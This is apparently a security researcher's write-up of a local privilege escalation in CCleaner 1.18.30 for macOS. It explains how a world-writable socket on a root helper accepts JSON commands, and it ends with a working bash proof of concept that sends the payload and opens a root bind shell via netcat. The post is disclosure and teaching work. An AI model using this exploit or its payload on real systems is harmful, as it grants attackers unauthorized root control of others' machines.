A technical exploration of a trivial Local Privilege Escalation Vulnerability in CCleaner <= v1.18.30 on macOS.
Introduction
CCleaner is a widely recognized system optimization tool designed to assist users in cleaning their computers by removing unnecessary files, such as browser caches and cookies. According to the publisher, CCleaner helps free disk space and enhance system performance. I have been using CCleaner on my personal laptop for several years. Still, I found it challenging to adjust to the changes in the graphical user interface (GUI) introduced in newer versions (from version 2 onward). As a result, I opted to continue using the most advanced version of the initial major release still available for download at the time (version 1.18.30). In hindsight, this decision proved to be a mistake. In fact, I had focused solely on the ease of use, failing to consider that using an outdated version could compromise the security of my system.
The latest versions of CCleaner are no longer vulnerable, as the IPC communication mechanism and related processes have been completely revamped (I did not audit it).
Figure 1 - First launch of CCleaner on macOS.
Upon launching CCleaner, the application requests the user to grant two essential permissions for its proper functioning. It asks for full disk access (FDA) and seeks approval to install a Privileged Helper Tool. FDA is a macOS permission that grants applications the ability to access and modify all files on your system, including those in protected areas, bypassing Transparency Consent and Control (TCC). Meanwhile, a Privileged Helper Tool is a system utility that allows an application to perform tasks requiring elevated privileges, such as making changes to system files or settings.
Analysis of the application Bundle
The file called Info.plist contains important metadata and information about an application, like its name, version, and permissions. It also includes settings that help macOS manage the application’s behavior. Let's take a look at the contents of this file and see what it has to tell us about CCleaner.
Analysis of /Applications/CCleaner.app/Contents/Info.plist
To explore the contents of the file we are interested in, simply run the following system command.
Command:
cat /Applications/CCleaner.app/Contents/Info.plist
As you can see, the file is written in XML and includes metadata about the application, as mentioned earlier. To check if your version of CCleaner is vulnerable, you can review the build information, which includes details such as the application's name, version, identifier, and the supported platform.
CFBundleName
: The name of the app.CFBundleIdentifier
: A unique identifier for the app (com.piriform.ccleaner
).CFBundleVersion
andCFBundleShortVersionString
: The version number (1.18.30
).CFBundleExecutable
: The executable file name (CCleaner
).CFBundleSupportedPlatforms
: The supported platform (MacOSX
).
<key>BuildMachineOSBuild</key>
<string>18G103</string>
<key>CFBundleDevelopmentRegion</key>
<string>English</string>
<key>CFBundleDisplayName</key>
<string>CCleaner</string>
<key>CFBundleExecutable</key>
<string>CCleaner</string>
<key>CFBundleIconFile</key>
<string>c.icns</string>
<key>CFBundleIdentifier</key>
<string>com.piriform.ccleaner</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundleName</key>
<string>CCleaner</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleShortVersionString</key>
<string>1.18.30</string>
<key>CFBundleSignature</key>
<string>????</string>
<key>CFBundleSupportedPlatforms</key>
<array>
<string>MacOSX</string>
</array>
<key>CFBundleVersion</key>
<string>1.18.30</string>
<key>CopyrightYear</key>
<string>2020</string>
A key called SMPrivilegedExecutables
, also found in this file, defines
privileged executables that can perform administrative tasks or require
elevated privileges.
The application specifies CCleanerAgent
(com.piriform.ccleaner.CCleanerAgent
)
as a Privileged Helper Tool.
<key>SMPrivilegedExecutables</key>
<dict>
<key>com.piriform.ccleaner.CCleanerAgent</key>
Let's now take a look at this agent.
Breakdown of /Library/LaunchDaemons/com.piriform.ccleaner.CCleanerAgent.plist
As we did earlier, let's examine a new .plist file by running the command below—this time, breaking it down key by key.
Command:
cat /Library/LaunchDaemons/com.piriform.ccleaner.CCleanerAgent.plist
Output:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.piriform.ccleaner.CCleanerAgent</string>
<key>OnDemand</key>
<true/>
<key>Program</key>
<string>/Library/PrivilegedHelperTools/com.piriform.ccleaner.CCleanerAgent</string>
<key>ProgramArguments</key>
<array>
<string>/Library/PrivilegedHelperTools/com.piriform.ccleaner.CCleanerAgent</string>
</array>
<key>ServiceIPC</key>
<true/>
<key>Sockets</key>
<dict>
<key>Listeners</key>
<dict>
<key>SockFamily</key>
<string>Unix</string>
<key>SockPathMode</key>
<integer>438</integer>
<key>SockPathName</key>
<string>var/run/com.piriform.ccleaner.CCleanerAgent.socket</string>
<key>SockType</key>
<string>Stream</string>
</dict>
</dict>
<key>ThrottleInterval</key>
<integer>1</integer>
</dict>
</plist>
Label
<key>Label</key>
<string>com.piriform.ccleaner.CCleanerAgent</string>
This key represents the label of the service, which is a unique identifier on
the system. In this case, it represents the CCleanerAgent
service by Piriform.
OnDemand
<key>OnDemand</key>
<true/>
This key specifies that the service should run on demand. When set to true
,
the service is launched automatically when needed rather than running
persistently in the background.
Program
<key>Program</key>
<string>/Library/PrivilegedHelperTools/com.piriform.ccleaner.CCleanerAgent</string>
This key specifies the full path to the executable program that the system
should run for this service. Here, it points to the CCleanerAgent
helper
tool located in /Library/PrivilegedHelperTools/
.
ProgramArguments
<key>ProgramArguments</key>
<array>
<string>/Library/PrivilegedHelperTools/com.piriform.ccleaner.CCleanerAgent</string>
</array>
This section specifies the arguments passed to the program upon launch. In this case, the only argument is the program's path, indicating that no additional arguments are provided at runtime.
ServiceIPC
<key>ServiceIPC</key>
<true/>
This key enables Inter-Process Communication (IPC) for the service. When set to
true
, the service allows communication between different processes via defined
protocols or channels.
Sockets
<key>Sockets</key>
<dict>
The Sockets
key defines the socket configurations for the service. It enables
communication with other processes.
Listeners
<key>Listeners</key>
<dict>
This section configures the listeners for the socket as a listener waits for incoming connections from other processes or services.
SockFamily
<key>SockFamily</key>
<string>Unix</string>
The above key specifies the socket family. In this case, it is set to Unix
indicating that the communication is done via a Unix domain socket (local IPC).
SockPathMode
<key>SockPathMode</key>
<integer>438</integer>
The value 438
corresponds to octal permissions 0666
, meaning the socket file
is readable and writable by all (users, groups, and others).
SockPathName
<key>SockPathName</key>
<string>var/run/com.piriform.ccleaner.CCleanerAgent.socket</string>
This key specifies the path where the socket file will be created.
SockType
<key>SockType</key>
<string>Stream</string>
The key SockType
specifies the type of socket being used. A Stream
socket is
typically used for continuous two-way communication between processes (similar
to TCP sockets).
ThrottleInterval
<key>ThrottleInterval</key>
<integer>1</integer>
The throttle interval determines how often the service can restart or be
triggered. A value of 1
second indicates a minimal delay between retries
if the service fails or is requested repeatedly.
As you may have figured out, a privileged executable running with root
privileges is launched, and even as a normal user, it is possible to interact
with this executable by sending data to its Unix socket, located at
/var/run/com.piriform.ccleaner.CCleanerAgent.socket.
Figure 2 - Summary scheme.
Next, we will dive into reverse engineering to figure out how to communicate
with this process (CCleanerAgent
) and identify the actions that could
potentially be used to escalate privileges.
Reverse engineering
Please note that the symbols were present in the analyzed binaries. However, although is possible to "strip" an Objective-C binary to remove or obfuscate certain information, even after stripping symbols, selector names (such as ?
@selector(methodName)
) would still remain visible, which could have made identifying the vulnerabilities almost as easy.
There were two possible approaches to figure out the format of the messages used for inter-process communication (IPC):
- Directly reverse the binary file /Library/PrivilegedHelperTools/com.piriform.ccleaner.CCleanerAgent
(Privileged Helper Tool running as
root
) and identify the relevant functions. - Reverse the library /Applications/CCleaner.app/Contents/Frameworks/CCleanerLib.framework/CCleanerLib used by CCleaner's main binary (/Applications/CCleaner.app/Contents/MacOS/CCleaner) and pinpoint the functions responsible for the IPC message creation.
We chose the second approach in this case.
Reverse of library /Applications/CCleaner.app/Contents/Frameworks/CCleanerLib.framework/CCleanerLib
We looked at CCleanerAgent::sendMessageToRunningAgent:()
's implementation within
the library to understand how IPC messages are sent to the agent.
void CCleanerAgent::sendMessageToRunningAgent:(undefined8 param_1,undefined8 param_2,undefined8 param_3)
{
...
uVar2 = objc_retain(param_3);
uVar3 = objc_msgSend(param_1,"remoteFH");
lVar4 = _objc_retainAutoreleasedReturnValue(uVar3);
objc_release(lVar4);
if (lVar4 != 0) {
_objc_retainAutorelease("--613493r--");
uVar3 = objc_msgSend("--613493r--","cStringUsingEncoding:",4);
uVar5 = objc_msgSend("--613493r--","length");
uVar3 = objc_msgSend(&_OBJC_CLASS_$_NSMutableData,"dataWithBytes:length:",uVar3,uVar5);
uVar3 = _objc_retainAutoreleasedReturnValue(uVar3);
uVar5 = objc_msgSend(&_OBJC_CLASS_$_NSJSONSerialization,"dataWithJSONObject:options:error:",uVar2,0,0);
uVar5 = _objc_retainAutoreleasedReturnValue(uVar5);
objc_msgSend(uVar3,"appendData:",uVar5);
objc_release(uVar5);
_objc_retainAutorelease("--r394316--");
uVar5 = objc_msgSend("--r394316--","cStringUsingEncoding:",4);
uVar6 = objc_msgSend("--r394316--","length");
objc_msgSend(uVar3,"appendBytes:length:",uVar5,uVar6);
uVar5 = objc_msgSend(param_1,"remoteFH");
uVar5 = _objc_retainAutoreleasedReturnValue(uVar5);
objc_msgSend(uVar5,"writeData:",uVar3);
objc_release(uVar5);
objc_release(uVar3);
}
objc_release(uVar2);
return;
}
An analysis of the pseudo-code above shows that the IPC messages have a fixed
header, which is the string --613493r-
, followed by a body containing data in
JSON format, and ending with a fixed footer, the string --r394316--
.
Figure 3 - IPC message format.
Now, let's take a look at what the body of our IPC messages (in JSON format)
must contain in order to trigger the execution of specific functions (allowing
us to elevate our privileges) within the binary running as root
.
Reverse of binary /Library/PrivilegedHelperTools/com.piriform.ccleaner.CCleanerAgent
After a brief analysis of the binary, we identified three potentially dangerous
functions which could be exploited by a user to gain root
privileges,
either directly or indirectly, depending on the specific function targeted.
- Function
SocketListener::installCCleanerLibFromPath:()
. - Function
SocketListener::installCCleanerToolFromPath:()
. - Function
SocketListener::runTask:arguments:()
.
The names of the first two functions suggest that privilege escalation may be
achieved by writing a library to a location that is inaccessible to normal users
but accessible to processes running as root
. Once the library is loaded by a
privileged binary, it allows the escalation of privileges.
This technique is left for the reader to explore on their own.
On the other hand, the last function allows an attacker to elevate their
privileges by executing any arbitrary command as root
(as shown below).
void SocketListener::runTask:arguments:(ID param_1,SEL param_2,ID param_3,ID param_4)
{
...
uVar1 = objc_retain(param_3);
uVar2 = objc_msgSend(&_OBJC_CLASS_$_NSTask,"launchedTaskWithLaunchPath:arguments:",uVar1,param_4);
uVar2 = _objc_retainAutoreleasedReturnValue(uVar2);
objc_release(uVar1);
objc_msgSend(uVar2,"waitUntilExit");
objc_release(uVar2);
return;
}
How to trigger the execution of function SocketListener::runTask:arguments:()
?
The SocketListener::parseMessage:()
function, which is part of the
SocketListener
class, handles the parsing of IPC messages. The pseudo-code for
this function is accessible below.
void SocketListener::parseMessage:(ID param_1,SEL param_2,ID param_3)
{
...
uVar4 = objc_msgSend(param_3,"dataUsingEncoding:",4);
uVar4 = _objc_retainAutoreleasedReturnValue(uVar4);
uVar5 = objc_msgSend(&_OBJC_CLASS_$_NSJSONSerialization,"JSONObjectWithData:options:error:",uVar4,0);
lVar6 = _objc_retainAutoreleasedReturnValue(uVar5);
lVar7 = objc_retain(0);
objc_release(uVar4);
if (lVar7 != 0) {
_NSLog("%@",lVar7);
}
if (lVar6 == 0) goto switchD_100002980_caseD_9;
...
uVar4 = objc_msgSend(lVar6,"valueForKey:","AgentAction"); // First JSON key.
uVar4 = _objc_retainAutoreleasedReturnValue(uVar4);
uVar3 = objc_msgSend(uVar4,"intValue");
objc_release(uVar4);
switch(uVar3) {
case 0:
...
case 8:
uVar4 = objc_msgSend(lVar6,"objectForKey:","Command"); // Second JSON key.
lVar8 = _objc_retainAutoreleasedReturnValue(uVar4);
objc_release(lVar8);
if (lVar8 != 0) {
uVar4 = objc_msgSend(lVar6,"objectForKey:","Command");
uVar4 = _objc_retainAutoreleasedReturnValue(uVar4);
lVar8 = objc_msgSend(uVar4,"length");
uVar5 = 0;
if (lVar8 != 0) {
uVar5 = objc_msgSend(lVar6,"objectForKey:","CommandArgumentsString"); // Third JSON key.
lVar8 = _objc_retainAutoreleasedReturnValue(uVar5);
objc_release(lVar8);
if (lVar8 == 0) {
...
}
}
else {
uVar5 = objc_msgSend(lVar6,"objectForKey:","CommandArgumentsString");
uVar9 = _objc_retainAutoreleasedReturnValue(uVar5);
uVar5 = objc_msgSend(uVar9,"componentsSeparatedByString:"," ");
uVar5 = _objc_retainAutoreleasedReturnValue(uVar5);
objc_release(uVar9);
}
objc_msgSend(param_1,"runTask:arguments:",uVar4,uVar5); // Call the vulnerable function.
}
...
}
}
...
}
As you can see, the JSON-formatted body requires three keys to trigger
the execution of SocketListener::runTask:arguments:()
, which is essential
for carrying out the privilege escalation.
These keys are:
AgentAction
Command
CommandArgumentsString
Exploitation & Proof of Concept
The vulnerability was straightforward to identify, and exploiting it was just
as simple. With just a few lines of bash, you can now gain a root shell by
connecting via netcat to port LISTENING_PORT
(1347
in the POC below).
Figure 4 - Exploit running.
POC
SCRIPT_PATH="$(cd "$(dirname "$0")" && pwd)/$(basename "$0")"
LISTENING_PORT="1347"
if [ $# -eq 1 ]; then
# Code executed as privileged user (root).
# Bind shell (as root) on ports 1337. On macOS /usr/bin/nc binary does
# not support "-e" or "-c" options.
mkfifo /tmp/fifo
nc -l $LISTENING_PORT < /tmp/fifo | /bin/bash 2>&1 | tee /tmp/fifo
else
# code executed as a simple user.
echo "[*] Generating payload..."
PAYLOAD='--613493r--\n{\n\t"AgentAction":8,\n\t"Command":"/bin/sh",\n\t"CommandArgumentsString":"'$SCRIPT_PATH' 1"\n}\n--r394316--'
echo "[+] Payload:\n$PAYLOAD"
echo "[*] Run \"nc 127.0.0.1 $LISTENING_PORT\" to execute command as root."
echo "[*] Sending payload..."
echo $PAYLOAD|nc -U /var/run/com.piriform.ccleaner.CCleanerAgent.socket
fi
Overview of the attack
Figure 5 - Overview of the attack.
Conclusion
Thanks for taking the time to read this article! Keep in mind that while you might not always like the changes made by some editors (like the GUI in my case), updating your tools is important for fixing security vulnerabilities (though it could also introduce new ones, ironically, lol).
The latest versions of CCleaner are no longer vulnerable, as the IPC communication mechanism and related processes have been completely revamped (I did not audit it).